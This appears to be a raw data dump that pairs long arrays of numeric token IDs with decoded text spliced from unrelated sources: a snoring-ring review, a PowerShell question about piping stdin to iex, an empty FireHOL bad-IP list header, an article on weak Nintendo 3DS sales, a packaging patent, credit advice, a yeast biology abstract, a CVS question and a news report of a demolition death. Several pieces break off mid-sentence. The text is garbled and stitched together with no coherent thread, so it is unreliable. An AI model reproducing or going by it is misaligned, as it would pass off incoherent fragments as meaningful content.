844, 452, 690, 11813, 15, 23195, 403, 247, 1643, 4606, 2139, 26862, 457, 84, 747, 45848, 310, 25485, 15, 187, 187, 1147, 457, 84, 1512, 8214, 187, 187, 510, 3236, 10850, 12143, 10098, 387, 370, 2270, 275, 11161, 28, 253, 10850, 12143, 36808, 10098, 387, 370, 8970, 275, 6585, 28, 253, 26862, 20807, 10098, 387, 370, 8970, 275, 6157, 28, 253, 26862, 20807, 418, 614, 10098, 387, 370, 11246, 275, 5403, 28, 285, 253, 399, 14581, 10098, 323, 370, 8970, 15, 12568, 497, 33449, 387, 370, 1229, 390, 1679, 1919, 253, 26862, 20807, 13, 672, 7911, 9461, 281, 271, 3388, 273, 370, 1449, 323, 747, 14505, 15, 2726, 253, 495, 5942, 13, 26862, 4425, 281, 1379, 247, 1027, 13, 625, 8214, 7622, 15, 380, 495, 5942, 10098, 323, 370, 9519, 275, 253, 1986, 2077, 13, 2403, 352, 253, 954, 8214, 45848, 253, 2567, 556, 2455, 4439, 15, 4952, 253, 747, 3777, 4376, 273, 370, 15046, 13, 1223, 370, 1438, 20182, 13, 588, 320, 4942, 8214, 2429, 281, 26862, 457, 84, 2892, 15, 2726, 253, 4376, 273, 3492, 2165, 49261, 13, 894, 15169, 13, 285, 3253, 49801, 2169, 285, 2169, 13, 4931, 1142, 10345, 457, 85, 5480, 281, 8135, 562, 594, 1199, 323, 247, 747, 45848, 985, 15, 187, 187, 510, 760, 1175, 5301, 281, 253, 495, 5942, 4376, 651, 320, 253, 22645, 35228, 6162, 494, 13, 534, 19460, 1955, 281, 697, 1029, 4376, 273, 370, 9519, 13, 2190, 643, 1841, 15, 187, 187, 20, 37, 310, 247, 42837, 10156, 4735, 187, 187, 8836, 1053, 457, 85, 1646, 281, 2564, 495, 37, 13, 533, 19235, 323, 26862, 13, 597, 6403, 457, 85, 27535, 598, 281, 2793, 352, 751, 597, 497, 247, 4564, 1107, 896, 15, 19863, 427, 5414, 941, 22513, 598, 436, 9058, 13, 4645, 326, 11349, 6403, 457, 85, 11280, 495, 37, 12101, 84, 15, 2091, 309, 1132, 253, 495, 5942, 13, 309, 1089, 4266, 8577, 253, 4735, 745, 1955, 281, 5130, 7372, 15, 19810, 1646, 281, 4264, 352, 625, 13, 533, 309, 457, 69, 18814, 934, 326, 1643, 952, 403, 24684, 1977, 407, 495, 37, 285, 651, 2075, 370, 9519, 12718, 323, 247, 45848, 326, 3400, 352, 15, 3900, 1142, 778, 4264, 253, 2879, 7877, 387, 581, 1127, 390, 1529, 13, 253, 495, 5942, 457, 84, 1943, 305, 12784, 781, 310, 17543, 14, 4924, 495, 37, 13, 285, 352, 2506, 457, 85, 1646, 281, 320, 10054, 745, 15, 187, 187, 2042, 368, 5386, 253, 495, 37, 13, 253, 495, 5942, 4453, 13, 973, 13, 4555, 751, 1046, 20807, 1078, 352, 15, 26862, 11210, 457, 85, 33127, 697, 10309, 275, 1142, 643, 4088, 15, 15594, 13, 352, 556, 247, 2372, 625, 14709, 13, 627, 310, 271, 299, 48698, 1024, 13, 285, 253, 985, 556, 271, 7370, 11010, 11224, 13, 533, 253, 8113, 3212, 253, 495, 5942, 3133, 1679, 670, 2165, 15832, 285, 625, 670, 247, 495, 37, 3601, 15, 26862, 1014, 4242, 281, 5731, 253, 5181, 4302, 273, 253, 20807, 1386, 281, 3761, 253, 20876, 9185, 19883, 368, 1089, 275, 954, 33188, 15, 26862, 2686, 9703, 281, 897, 271, 1711, 11623, 422, 14, 4826, 5181, 14396, 275, 697, 495, 5942, 5747, 253, 2862, 21679, 285, 19801, 2791, 4886, 2584, 4192, 1483, 5181, 14396, 4302, 13, 534, 14935, 368, 897, 634, 9881, 285, 1554, 262, 9764, 35324, 15, 1707, 403, 3164, 1175, 4606, 323, 436, 13, 533, 253, 11844, 310, 275, 327, 17521, 5123, 27, 5595, 952, 1053, 457, 85, 1663, 971, 281, 897, 731, 15, 13349, 1574, 13, 7051, 6500, 310, 5667, 323, 1142, 4980, 4893, 15, 3813, 13, 11349, 403, 9592, 17905, 625, 5162, 1612, 13, 2406, 8545, 1612, 10393, 285, 20182, 4095, 15, 1284, 253, 7051, 4491, 331, 39477, 281, 2525, 841, 11684, 285, 625, 9542, 285, 12006, 254, 16012, 13, 12949, 4953, 1320, 588, 906, 275, 271, 6880, 273, 253, 1180, 273, 16666, 591, 20832, 285, 253, 1180, 273, 26488, 591, 11291, 13, 347, 973, 347, 247, 5141, 275, 1612, 10393, 15, 23224, 1592, 1268, 18420, 313, 56, 13010, 10, 4302, 556, 644, 21896, 18395, 1580, 253, 7051, 4295, 403, 1146, 4158, 281, 320, 21259, 13, 4577, 13, 625, 25274, 47855, 13, 625, 6422, 13, 625, 9630, 285, 1679, 8214, 15, 380, 411, 13010, 4302, 24772, 9778, 1907, 1027, 5164, 1005, 387, 247, 20832, 1268, 13, 285, 310, 7561, 3732, 275, 1340, 281, 2525, 5415, 11684, 2584, 253, 12949, 4953, 1320, 285, 2169, 3470, 273, 253, 7051, 4295, 15, 187, 34, 6605, 275, 411, 13010, 4302, 16540, 7350, 670, 849, 281, 2572, 253, 1180, 273, 253, 5637, 4295, 13, 3340, 387, 253, 10844, 2919, 273, 824, 6605, 15, 496, 4499, 281, 247, 5899, 18420, 4302 ]	The first thing that struck me is that the Good Night Anti Snoring Ring doesn't have a "one size fits all" philisophy, as it works on acupressure. The Good Night rings are adjustable but there are three sizes to let you choose the most appropriate one for you. Small - Covers ring sizes J-P. Recommended for women or men with small hands/fingers (this is me - I have tiny stick fingers!) Medium – Covers ring sizes N-S. Large – Covers ring sizes S –Z. The ring has to be worrn on your little finger with the small dimple (you can see it on the image above) on the inside and you squeeze it to get a good fit. When I was reading through the literature it suggests that, in the interests of Yin Yang, that women should wear the ring on their left finger but it also says that sometimes, heavy snorers may need to use 2 rings ( I was a little worried at this point that I may need more than two) We had been on holiday but the sea air had done nothing for my snoring, so with the return to our own bed began the stop snoring campaign. The first couple of nights marked a noteable improvement but by night 6, apparently my other half managed to get a totally peaceful nights sleep. I have to admit that I was a little sceptical at first, how could this little ring stop my snoring but it has. I can't vouch for this in its entirety (mainly because I am asleep while the testing is going on) but according to the man on the pad, it gets a huge thumbs up. Disclaimer : We were given the Good Night Anti Snoring Ring to review but the views and opinions are an honest and true reflection of our findings.Q: How to evaluate powershell script inputed from stdin I want to evaluate the content from StdIn in Powershell, like this: echo "echo 12;" \| powershell -noprofile -noninteractive -command "$input \| iex" Output: echo 12; Unfortunately, $input is not a String, but a System.Management.Automation.Internal.ObjectReader, which make iex not working as expected... since this one is working correctly: powershell -noprofile -noninteractive -command "$command = \"echo 12;\"; $command \| iex" Output: 12 A: The following would work: Use a scriptblock: echo "echo 12;" \| powershell -noprofile -noninteractive -command { $input \| iex } Or use single quotes to avoid the string interpolation: echo "echo 12;" \| powershell -noprofile -noninteractive -command '$input \| iex' so the $input variable isn't expanded, and the string '$input' is passed to iex. Both of these give me "12". # # bi_default_1_7d # # ipv4 hash:ip ipset # # [BadIPs.com] (https://www.badips.com/) Bad IPs in category # default with score above 1 and age less than 7d # # Maintainer : BadIPs.com # Maintainer URL : https://www.badips.com/ # List source URL : https://www.badips.com/get/list/default/1?age=7d # Source File Date: Mon Sep 14 02:52:12 UTC 2020 # # Category : attacks # Version : 1955 # # This File Date : Mon Sep 14 09:01:13 UTC 2020 # Update Frequency: 6 hours # Aggregation : none # Entries : 0 unique IPs # # Full list analysis, including geolocation map, history, # retention policy, overlaps with other lists, etc. # available at: # # http://iplists.firehol.org/?ipset=bi_default_1_7d # # Generated by FireHOL's update-ipsets.sh # Processed with FireHOL's iprange # Five reasons why the Nintendo 3DS is Bob-ombing with gamers Something has gone wrong. Earlier this year, the 3DS was hailed by Nintendo as its most successful handheld launch to date. However, after the hordes of Nintendo devotees were finished picking up their system at midnight, sales began to decline fairly rapidly. So rapidly, in fact, that by April 27, one month after the system’s March 27 launch, Nintendo President Satoru Iwata explained to investors that the fledgling system had already failed to meet the company’s expectations. Since then, things have gotten a lot worse. Unlike nearly all previous Nintendo handhelds, the 3DS has had trouble getting off the ground. Our big question is why? Even through the hardest times at Nintendo, when consoles like the GameCube continually struggled to stay alive, Nintendo’s Game Boy and DS handhelds have retained dominance over the handheld game industry — an industry Nintendo created decades ago. The 3DS is selling so poorly that Nintendo has announced that it will cut the price of the 3DS from $250 to $170 on August 11, and President Iwata will cut his own salary by 50 percent, along with the salaries of several other high-ranking Nintendo executives. “I feel greatly accountable for having to make the markdown shortly after the launch, for having damaged our consumers’ trust, for having made a significant impact upon the financial forecasts, for the annual dividend now being expected to be significantly less than originally expected and for now forecasting that there will be no interim dividend,” said Iwata. So, if the 3DS is selling this poorly, we have to ask: why? Nintendo’s line of DS products has been popular for seven years. What’s different now? We have some theories. Below are a few reasons why Nintendo’s new handheld is bombing. It’s too expensive The original Game Boy launched at $90 in 1989; the Game Boy Advance launched at $150 in 2001; the Nintendo DS launched at $150 in 2004; the Nintendo DS Lite launched at $130 in 2006; and the DSi launched for $150. Games were priced at $30 or less until the Nintendo DS, when prices rose to an average of $40 for new titles. With the 3DS, Nintendo decided to take a different, more expensive route. The 3DS launched for $250 in the United States, making it the most expensive handheld the company has ever released. Even the new reduced price of $170, while $80 cheaper, will be relatively expensive compared to Nintendo’s history. With the price of video game consoles, cell phones, and everything creeping higher and higher, perhaps many weren’t prepared to shell out so much for a new handheld system. The only good comparison to the 3DS price would be the Sony PlayStation Portable, which struggled due to its high price of $250, among other things. 3D is a lame selling feature People don’t seem to mind 3D, but unfortunately for Nintendo, they aren’t lining up to experience it like they were a couple years back. Recent NPD data backs up this trend, showing that consumers aren’t buying 3DTVs. When I play the 3DS, I find myself turning the feature off due to eye strain. Others seem to enjoy it more, but I’d gamble that few people are blown away by 3D and would pay $250 solely for a handheld that provides it. While many may enjoy the added dimension at one point or another, the 3DS’s big gimmick is glasses-free 3D, and it doesn’t seem to be paying off. If you remove the 3D, the 3DS looks, well, exactly like every DS before it. Nintendo hasn’t progressed its hardware in many other ways. Sure, it has a bit more juice, there is an eShop now, and the system has an analog joystic, but the vision behind the 3DS seems less about game innovation and more about a 3D screen. Nintendo even failed to update the touch technology of the DS line to match the responsive finger touching you find in most smartphones. Nintendo actually chose to use an old resistive-style touchscreen in its 3DS despite the entire smartphone and tablet market moving toward capacitive touchscreen technology, which lets you use your fingers and multitouch gestures. There are probably good reasons for this, but the verdict is in on styluses: Most people don’t really want to use them.Presently, electronic equipment is essential for many modern applications. Therefore, consumers are increasingly demanding more processing power, lower electrical power usage and cheaper devices. As the electronic industry strives to meet these demands and more complicated and denser configurations, miniaturization will result in an extension of the number of chips per wafer and the number of transistors per chip, as well as a reduction in power usage. Wafer level packaging (WLP) technology has been gaining popularity since the electronic components are being designed to be lighter, smaller, more multifunctional, more powerful, more reliable and less expensive. The WLP technology combines dies having different functionalities at a wafer level, and is widely applied in order to meet continuous demands toward the miniaturization and higher functions of the electronic components. A substrate in WLP technology raises concerns about how to increase the number of the electric components, especially at the peripheral region of such substrate. In contrast to a traditional packaging technology
[ 3959, 6152, 1386, 672, 597, 1581, 368, 281, 2075, 407, 41860, 15, 2091, 368, 403, 2783, 36230, 597, 5082, 457, 85, 971, 281, 3959, 368, 247, 6152, 1386, 15, 187, 187, 1394, 923, 849, 4541, 359, 476, 2118, 432, 581, 3563, 6007, 281, 247, 4092, 4832, 12748, 1066, 253, 3971, 15, 1198, 1650, 13, 368, 778, 2057, 417, 755, 247, 15842, 342, 3076, 6152, 390, 368, 778, 320, 6636, 4564, 2792, 4465, 1600, 15, 19296, 849, 1199, 651, 326, 320, 689, 253, 2426, 273, 247, 1884, 807, 15842, 15, 733, 812, 320, 6763, 273, 8918, 326, 368, 452, 281, 789, 12150, 281, 2075, 323, 15, 187, 187, 510, 1072, 10384, 281, 634, 6753, 6503, 36102, 15, 1422, 476, 755, 1199, 1805, 4142, 672, 368, 452, 247, 3962, 6152, 2892, 15, 1893, 13, 2139, 2075, 625, 604, 627, 310, 247, 1039, 273, 2970, 1805, 7911, 32, 1422, 778, 1642, 849, 1199, 812, 253, 3064, 320, 15, 844, 6642, 326, 368, 812, 755, 670, 6818, 2620, 2558, 1679, 342, 690, 4413, 604, 368, 574, 247, 3962, 4868, 3185, 273, 247, 4105, 581, 15, 831, 651, 320, 1027, 7293, 327, 253, 2567, 368, 403, 9433, 323, 247, 14430, 15, 187, 187, 17756, 13, 368, 651, 320, 26400, 281, 1089, 247, 2567, 326, 24505, 247, 2257, 670, 6152, 2892, 672, 368, 452, 247, 1175, 4868, 15, 1244, 368, 651, 320, 12203, 323, 247, 2567, 326, 2506, 457, 85, 1918, 247, 15331, 670, 253, 958, 326, 634, 6152, 4868, 3548, 457, 85, 1270, 15, 831, 310, 1529, 1039, 273, 14419, 253, 8540, 326, 310, 4269, 407, 37358, 4832, 1453, 15, 733, 310, 512, 670, 14596, 1561, 634, 7563, 285, 10885, 634, 2583, 13909, 14556, 15, 1707, 403, 247, 1643, 24960, 326, 476, 1361, 368, 2968, 342, 841, 3237, 15, 1422, 1620, 871, 368, 812, 1705, 562, 3965, 5745, 11170, 387, 253, 990, 407, 1563, 581, 273, 253, 5659, 15, 187, 187, 34595, 13, 368, 476, 3297, 562, 273, 7596, 285, 2968, 342, 1355, 288, 280, 6837, 84, 275, 634, 1495, 1805, 672, 368, 452, 690, 16347, 15, 17814, 476, 452, 247, 12097, 90, 2180, 672, 368, 403, 6890, 7375, 390, 2819, 323, 247, 747, 581, 15, 14566, 690, 16347, 588, 1581, 368, 281, 6032, 253, 9996, 1805, 15, 831, 310, 1633, 368, 778, 878, 281, 789, 327, 285, 1691, 247, 1652, 2583, 9255, 15, 28292, 6115, 7021, 12674, 7431, 36253, 23202, 27019, 281, 18175, 9662, 6789, 617, 247, 773, 27397, 15231, 668, 285, 2719, 15, 308, 7228, 74, 443, 8902, 472, 247, 2442, 7247, 3443, 365, 15, 187, 187, 2019, 8185, 285, 1399, 2198, 10823, 13, 23202, 2296, 13, 403, 1563, 247, 773, 4714, 14, 88, 1575, 6001, 668, 273, 2820, 281, 29614, 13439, 9183, 326, 5691, 3128, 43599, 457, 44386, 382, 285, 5944, 255, 382, 7823, 15, 187, 187, 38537, 27, 3196, 15, 36253, 23202, 13, 3438, 6115, 7021, 12674, 7431, 15, 21956, 17724, 2077, 273, 22446, 18, 12776, 561, 684, 25388, 3656, 4291, 353, 3180, 273, 38224, 47002, 318, 285, 34882, 15, 187, 2347, 1341, 5223, 281, 11962, 6938, 2515, 310, 8127, 7202, 15, 3856, 13, 359, 921, 326, 13, 275, 49301, 15727, 13, 253, 5771, 14, 13018, 285, 4073, 10115, 1657, 2601, 22446, 18, 556, 271, 15276, 2867, 281, 830, 25904, 684, 2220, 35351, 390, 4250, 4073, 285, 326, 39620, 4702, 310, 2330, 342, 894, 14, 16441, 5263, 15, 20002, 432, 5263, 30150, 342, 39620, 28425, 13, 534, 3936, 2909, 313, 7873, 15357, 10, 390, 3038, 313, 22348, 6966, 481, 496, 7991, 8756, 5379, 12957, 326, 253, 1027, 28425, 4142, 273, 35351, 14, 285, 4250, 14, 6367, 25904, 684, 403, 1955, 281, 616, 1027, 2144, 3607, 27, 35351, 14, 6367, 22446, 18, 25904, 684, 830, 407, 5558, 14, 38390, 1471, 895, 272, 285, 9674, 6455, 715, 24048, 9480, 14, 3022, 6353, 28, 4250, 14, 6367, 25904, 684, 403, 625, 4891, 14, 3022, 285, 2430, 41944, 2487, 323, 10009, 18840, 15, 3824, 941, 1804, 326, 1027, 13424, 24631, 13, 347, 973, 347, 4073, 47668, 285, 26112, 13, 10808, 25904, 684, 342, 5799, 3520, 3607, 285, 7624, 4853, 1027, 10006, 273, 4073, 15644, 285, 4142, 273, 7355, 15, 8903, 284, 1494, 254, 2695, 35825, 376, 187, 187, 8903, 284, 1494, 254, 2695, 35825, 376, 13, 253, 298, 1031, 359, 41617, 13, 310, 247, 3417, 273, 3862, 14, 79, 1700, 359, 41617, 275, 253, 28868, 282, 2021, 11579, 1291, 279, 15203, 15, 733, 310, 1119, 275, 3729, 3968, 15, 187, 187, 4941, 187, 187, 11389, 4361, 1744, 19668, 187, 1413, 27, 7580, 303, 35841, 187, 1413, 27, 11796, 3741, 3562, 407, 1165, 7700, 12042, 187, 1413, 27, 4678, 292, 868, 2529, 275, 50074, 50, 27, 187, 187, 2347, 476, 247, 40634, 416, 5166, 1873, 320, 15792, 5176, 432, 247, 15173, 52, 18491, 32, 187, 187, 42, 1353, 6523, 253, 1563, 2228, 672, 2509, 271, 5731, 27, 187, 68, 10936, 5731, 27, 2717, 1929, 670, 6740, 16, 5594, 16, 681, 16, 12110, 16, 2009, 16, 19352, 10099, 20317, 15, 5594, 187, 187, 9917, 13, 672, 2820, 253, 1859, 253, 9617, 4508, 326, 1873, 970, 9182, 12548, 359, 755, 594, 1526, 751, 436, 27, 187, 1145, 19563, 14026, 17763, 15064, 187, 27363, 41668, 2135, 187, 22099, 2135, 313, 2252, 3332, 1067, 1390, 2262, 187, 50276, 4505, 13357, 2178, 16, 4805, 16, 1374, 16788, 14, 18, 15, 17, 15, 22, 16, 4658, 16, 1374, 16788, 15, 4789, 995, 1386, 5345, 2526, 13, 275, 2022, 187, 50274, 9629, 15, 6321, 64, 1374, 16788, 1082, 187, 50276, 4505, 13357, 2178, 16, 4805, 16, 1374, 16788, 14, 18, 15, 17, 15, 22, 16, 4658, 16, 1374, 16788, 15, 4789, 995, 1386, 41267, 13, 275, 1408, 64, 1374, 16788, 187, 50274, 1286, 15, 1374, 64, 4997, 9, 1286, 10, 187, 50276, 4505, 13357, 2178, 16, 4805, 16, 1374, 16788, 14, 18, 15, 17, 15, 22, 16, 4658, 16, 1374, 16788, 15, 4789, 995, 1386, 1458, 2082, 13, 275, 1859, 64, 26758, 187, 50274, 9629, 15, 28486, 15, 69, 2587, 14175, 9, 9629, 15, 3967, 64, 31369, 13, 2748, 15, 3967, 15079, 13, 1873, 64, 2203, 13, 4610, 10, 187, 50276, 4505, 13357, 2178, 16, 4805, 16, 1374, 16788, 14, 18, 15, 17, 15, 22, 16, 4658, 16, 87, 498, 487, 16, 67, 1763, 10936, 16, 876, 4478, 47977, 4789, 995, 1386, 23627, 13, 275, 277, 2587, 14175, 187, 50274, 455, 23059, 426, 795, 788, 64, 43975, 9, 1286, 13, 14035, 3967, 13, 12028, 13, 3585, 13, 749, 7341, 84, 10, 187, 50276, 4505, 13357, 2178, 16, 4805, 16, 1374, 16788, 14, 18, 15, 17, 15, 22, 16, 4658, 16, 87, 498, 487, 16, 67, 1763, 10936, 16, 876, 4478, 47977, 4789, 995, 1386, 898, 1166, 13, 275, 795, 788, 64, 43975, 187, 50274, 22525, 362, 498, 487, 15, 4756, 2073, 4756, 29072, 391, 2808, 3453, 15, 1889, 5344, 416, 5166, 1873, 2462, 84, 8, 187, 4756, 27, 11759, 29072, 391, 2808, 3453, 15, 1889, 5344, 416, 5166, 1873, 1227, 15035, 16, 9511, 16, 68, 10936, 16, 37498, 16, 7614, 16, 5594, 16, 681, 16, 12110, 16, 2009, 16, 6601, 280, 16, 9030, 1730, 552, 10099, 20317, 15, 5594, 13, 87, 13, 1119, 1227, 15035, 16, 9511, 16, 68, 10936, 16, 37498, 7614, 16, 5594, 16, 681, 16, 12110, 16, 2009, 16, 6601, 280, 16, 18686, 10099, 20317, 15, 5594, 13, 87, 187, 187, 42, 1158, 326, 253, 1895, 310, 253, 24046, 10099, 20317, 15, 5594, 13, 87, 416, 5166, 1873, 326, 4453, 751, 436, 27, 187, 2522, 50273, 28, 187, 10773, 50275, 28, 187, 84, 31356, 50276, 28, 187, 39886, 50274, 28, 7654, 28, 187, 13982, 50276, 33, 4, 1214, 28, 187, 187, 12898, 187, 22610, 187, 187, 1909, 368, 476, 923, 15, 733, 310, 6325, 15, 50276, 42, 5467, 326, 352, 943, 452, 690, 4588, 21464, 275, 352, 15, 50276, 187, 2513, 352, 10826, 281, 816, 5386, 436, 1873, 432, 253, 18491, 285, 10774, 2225, 352, 32, 14815, 326, 452, 667, 4016, 3486, 327, 253, 10141, 562, 2444, 10125, 32, 187, 187, 34, 27, 187, 187, 688, 619, 2793, 352, 310, 8718, 281, 816, 5386, 326, 1873, 432, 253, 18491, 285, 10774, 2225, 15, 187, 1992, 11990, 253, 1232, 368, 778, 1089, 352, 1805, 281, 2794, 247, 747, 2444, 3491, 285, 10774, 2225, 627, 15, 10338, 2119, 512, 440, 2823, 2166, 2544, 403, 7730, 390, 17245, 598, 11358, 15, 187, 9379, 3391, 15985, 1832, 4647, 15, 39431, 13, 1379, 896, 8777, 273, 634, 4367, 285, 604, 1896, 18491, 15, 187, 24004, 326, 434, 273, 690, 1361, 15, 535, 16281, 375, 4913, 7925, 13, 2030, 13, 9778, 275, 28974, 25948, 539, 49285, 522, 187, 187, 16281, 375, 4913, 7925, 9778, 275, 28974, 25948, 539, 49285, 522, 187, 187, 18336, 15867, 273, 3196, 15, 7252, 473, 8, 1785, 9352, 187, 187, 45840, 473, 8, 1785, 9352, 13, 2030, 13, 369, 5339, 672, 344, 369, 10903, 407, 10805, 11859, 672, 629, 273, 247, 3402, 21900, 387, 247, 789, 2670, 327, 7659, 15, 3436, 13, 4072, 13, 387, 4255, 3423, 9221, 394, 1575, 21984, 275, 42171, 21706, 15, 473, 8, 1785, 9352, 369, 629, 273, 253, 25948, 539, 10402, 2444, 387, 253, 28974, 15, 187, 187, 45840, 473, 8, 1785, 9352, 13, 2030, 13, 369, 5339, 672, 344, 369, 10903, 407, 10805, 11859, 672, 629, 273, 247, 3402, 21900, 387, 247, 789, 2670, 327, 7659, 15, 3436, 13, 4072, 13, 387, 4255, 3423, 9221, 394, 1575, 21984, 275, 42171, 21706, 15, 473, 8, 1785, 9352, 369, 629, 273, 253, 25948, 539, 10402, 2444, 387, 253, 28974, 15, 313, 18336, 15867, 273, 3196, 15, 7252, 473, 8, 1785, 9352, 10, 187, 187, 21309, 3044, 6869, 377, 249, 53, 725, 2517, 12726, 187, 187, 34, 25948, 539, 10402, 3558, 665, 369, 5339, 275, 247, 8216, 2360, 2987, 614, 7343, 275, 42171, 21706, 556, 644, 3636, 347, 2030, 14, 2913, 14, 744, 15435, 473, 457, 1785, 9352, 13, 665, 8899, 598, 275, 31438, 33963, 5226, 375, 4913, 15, 187, 187, 48, 457, 1785, 9352, 13, 665, 369, 247, 16125, 273, 659, 13046, 4855, 4726, 285, 253, 2499, 273, 11545, 13, 521, 2021, 753, 13, 369, 5339, 672, 344, 369, 10903, 407, 10805, 11859, 672, 629, 273, 247, 3402, 21900, 387, 247, 25948, 539, 2670, 3563, 8216, 387, 4255, 3423, 9221, 394, 1575, 21984, 275, 253, 11186, 38523, 15, 187, 187, 48, 457, 1785, 9352, 574, 12431, 247, 4248, 432, 530, 273, 309, 275, 17340, 285, 10630, 20701, 275, 4267, 533, 13, 7591, 281, 1089, 247, 2628, 275, 521, 1673, 13, 574, 644, 2444, 275, 25948, 539, 13, 753, 521, 18796, 13, 3196, 15, 7252, 473, 457, 1785, 9352, 15, 187, 187, 8389, 2021, 310, 773, 3620, 505, 456, 668, 407, 253, 22820, 13, 253, 18796, 753, 15, 187, 187, 1628, 1328, 7636, 1495, 1806, 3196, 15, 473, 457, 1785, 9352, 753, 15, 773, 1328, 10490, 281, 1056, 952, 9012, 1425, 187, 187, 510, 7343, 5866, 387, 670, 1903, 268, 15, 78, 15, 8216, 347, 247, 789, 10402, 369, 30906, 1066, 271, 19633, 3402, 273, 247, 3438, 21521, 7948, 10301, 281, 1056, 1039, 323, 247, 747, 6813, 72, 10356, 457, 84, 11573, 9972, 15, 187, 187, 10282, 398, 497, 11922, 271, 8346, 3828, 273, 20098, 672, 11859, 7437, 6497, 432, 253, 1755, 273, 253, 3402, 285, 4352, 1264, 5820, 15, 187, 187, 32351, 2189, 8726, 17504, 4412, 6861, 335, 1972, 7244, 275, 1264, 2909, 13, 285, 5820, 574, 2168, 5176, 253, 21593, 432, 253, 10349, 13, 19897, 9060, 26419, 6212, 753, 15, 187, 187, 4221, 3163, 982, 2335, 767, 273, 253, 5820, 13, 1690, 473, 457, 1785, 9352, 13, 281, 13536, 24461, 12776, 437, 8710, 5197, 275, 23583, 6169, 15, 187, 187, 1628, 3404, 436, 1127, 627, 310, 642, 14011, 326, 436, 310, 643, 685, 247, 26183, 7343, 1806, 42171, 21706, 20186, 353, 3751, 6277, 45664, 753, 275, 247, 2315, 3727, 15, 773, 6067, 34620, 6882, 311, 2979, 285, 24861, 564, 562, 281, 253, 2021, 273, 253, 24332, 1425, 187, 187, 510, 4400, 29314, 1050, 4775, 285, 18731, 13500, 310, 15686, 253, 7343, 15, 187, 187, 510, 3625, 22350, 387, 253, 789, 2670, 369, 367, 15, 52, 15, 4281, 311, 539, 13, 534, 574, 642, 2892, 273, 5252, 15927, 13, 473, 23855, 18082, 7493, 14272, 753, 15, 187, 187, 510, 13274, 8855, 14, 3169, 2567, 457, 84, 7066, 2670, 8631, 352, 347, 4751, 17236, 13, 19420, 285, 5533, 494, 13, 285, 3054, 326, 352, 4648, 1097, 1133, 5657 ]	offer credit line when they allow you to pay by installment. When you are considered unreliable they wouldn’t want to offer you a credit line. You see how quickly we can move from one late bill to a serious financial difficulties down the road. For example, you may either not get a mortgage with bad credit or you may be charged couple points extra interest. Think how much would that be over the terms of a 30 year mortgage. It could be thousands of dollars that you have to work harder to pay for. The same applies to your auto insurance premiums. You can get much better rates when you have a perfect credit history. So, why pay more if there is a way of getting better prices? You may ask how much could the difference be. We estimate that you could get about twenty five percent less with some companies if you had a perfect score instead of a poor one. This would be different depending on the company you are applying for a quote. Therefore, you would be aiming to find a company that cares a lot about credit history when you have a good score. And you would be searching for a company that doesn’t give a toss about the fact that your credit score isn’t great. This is another way of managing the damages that is caused by slack financial control. It is all about staying within your budget and handling your money affairs efficiently. There are a few blogs that can help you deal with these problems. You never know you could come out pretty savvy at the end by following one of the programs. Generally, you can stay out of trouble and deal with small hiccups in your life better when you have some savings. Everyone can have a patchy period when you are changing jobs or looking for a new one. Having some savings will allow you to smooth the transaction better. This is something you may need to work on and put a little money aside.Former Green Party presidential candidate Jill Stein responds to Hillary Clinton calling her a “Russian asset” and Rep. Tulsi Gabbard a potential Russian dupe. Clinton and centrist Democrats, Stein says, are following a “well-worn script” of trying to undermine progressive candidates that challenge party elites’ militarist and corporatist policies. Guest: Dr. Jill Stein, former Green Party presidential candidate.Different Material States of Pub1 Condensates Define Distinct Modes of Stress Adaptation and Recovery. How cells adapt to varying environmental conditions is largely unknown. Here, we show that, in budding yeast, the RNA-binding and stress granule protein Pub1 has an intrinsic property to form condensates upon starvation or heat stress and that condensate formation is associated with cell-cycle arrest. Release from arrest coincides with condensate dissolution, which takes minutes (starvation) or hours (heat shock). In vitro reconstitution reveals that the different dissolution rates of starvation- and heat-induced condensates are due to their different material properties: starvation-induced Pub1 condensates form by liquid-liquid demixing and subsequently convert into reversible gel-like particles; heat-induced condensates are more solid-like and require chaperones for disaggregation. Our data suggest that different physiological stresses, as well as stress durations and intensities, induce condensates with distinct physical properties and thereby define different modes of stress adaptation and rates of recovery.Agasphaerops nigra Agasphaerops nigra, the lily weevil, is a species of broad-nosed weevil in the beetle family Curculionidae. It is found in North America. References Further reading Category:Entiminae Category:Articles created by Qbugbot Category:Beetles described in 1876Q: How can a corrupted RCS file be safely removed from a CVS repository? I'm seeing the following error when doing an update: cvs update: nothing known about src/java/com/foo/bar/SamplePageBean.java Also, when trying the view the directory containing that file using ViewVC we get soething like this: An Exception Has Occurred Python Traceback Traceback (most recent call last): File "/opt/bin/viewvc-1.0.5/lib/viewvc.py", line 3766, in main request.run_viewvc() File "/opt/bin/viewvc-1.0.5/lib/viewvc.py", line 394, in run_viewvc self.view_func(self) File "/opt/bin/viewvc-1.0.5/lib/viewvc.py", line 1565, in view_directory request.repos.dirlogs(request.path_parts, request.pathrev, file_data, options) File "/opt/bin/viewvc-1.0.5/lib/vclib/bincvs/__init__.py", line 195, in dirlogs alltags = _get_logs(self, dirpath, entries, rev, subdirs) File "/opt/bin/viewvc-1.0.5/lib/vclib/bincvs/__init__.py", line 917, in _get_logs raise vclib.Error('Error parsing rlog output. Expected RCS file %s' Error: Error parsing rlog output. Expected RCS file /export/home/cvs/repository/src/java/com/foo/bar/Attic/GlossaryPageBean.java,v, found /export/home/cvs/repositorysrc/java/com/foo/bar/Attic/HomePageBean.java,v I think that the problem is the SamplePageBean.java,v RCS file that looks like this: head ; access ; symbols ; locks ; strict; comment @# @; desc @@ As you can see. It is empty. I assume that it should have some actual metadata in it. Is it OK to just remove this file from the repository and recommit it? Would that have any negative impact on the checked out working copies? A: In my experience it is ok to just remove that file from the repository and recommit. To ease the process you may find it better to create a new working copy and recommit there. Make sure all uncommitted changes are committed or backed up elsewhere. Obvious caveats apply. Namely, take backups of your files and if possible repository. Hope that's of some help. Palos Park native, 25, dies in mall demolition mishap Palos Park native dies in mall demolition mishap Courtesy of Dr. William O'Reilly Patrick O'Reilly, 25, was killed when he was struck by falling concrete when part of a wall collapsed at a work site on Dec. 26, 2013, at Westfield Hawthorn Mall in Vernon Hills. O'Reilly was part of the demolition crew working at the mall. Patrick O'Reilly, 25, was killed when he was struck by falling concrete when part of a wall collapsed at a work site on Dec. 26, 2013, at Westfield Hawthorn Mall in Vernon Hills. O'Reilly was part of the demolition crew working at the mall. (Courtesy of Dr. William O'Reilly) Robert McCoppinTribune reporter A demolition crew member who was killed in a Thursday night worksite accident in Vernon Hills has been identified as 25-year-old Patrick O’Reilly, who grew up in southwest suburban Palos Park. O’Reilly, who was a graduate of Stagg High School and the University of Illinois, his family said, was killed when he was struck by falling concrete when part of a wall collapsed at a demolition site 